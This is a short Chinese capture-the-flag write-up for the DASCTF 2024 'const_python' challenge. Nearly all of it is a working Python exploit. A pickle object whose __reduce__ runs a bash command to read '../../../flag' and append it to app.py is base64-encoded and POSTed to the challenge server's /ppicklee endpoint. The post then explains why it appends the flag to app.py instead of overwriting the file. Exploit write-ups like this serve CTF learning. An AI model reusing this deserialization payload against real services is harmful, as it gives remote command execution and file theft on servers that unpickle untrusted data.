[DASCTF 2024最后一战|寒夜破晓,冬至终章]const_python
·
import pickle
import subprocess
import base64
import requests
import re
class EvilObject:
def __reduce__(self):
# 使用 subprocess.run 执行 "dir" 命令。
# 通过命令行将 flag 文件内容追加到 app.py 末尾。tee 命令的 -a 参数表示追加(类似 >>,直接操作文件:
return (subprocess.run, (["bash","-c","cat ../../../flag | tee -a app.py" ],),{"shell": True})
# 创建恶意对象
evil_object = EvilObject()
# 序列化恶意对象
pickled_data = pickle.dumps(evil_object)
# base64 编码序列化对象
pickled_data_base64 = base64.b64encode(pickled_data).decode('utf-8')
# 输出序列化后的 Base64 编码
print("Base64 Encoded Pickled Data:")
print(pickled_data_base64)
url = 'http://f7eeb85c-cbe6-43a3-ad8c-25cc55bd5a1f.node5.buuoj.cn:81/ppicklee'
# 要发送的POST数据,通常是字典格式
data = {'data': pickled_data_base64}
# 发送POST请求
response = requests.post(url, data=data)
# 打印响应的状态码和内容
print('Status Code:', response.status_code)
print('Response Text:', response.text)
成功后直接打开/src目录,flag被附加到app.py文件末尾了

与原博客不同的是用cat ../../../flag | tee -a app.py表示追加,这样就不会导致原文件被覆盖,容器除了/src目录有flag其他都是404了QAQ。
更多推荐
所有评论(0)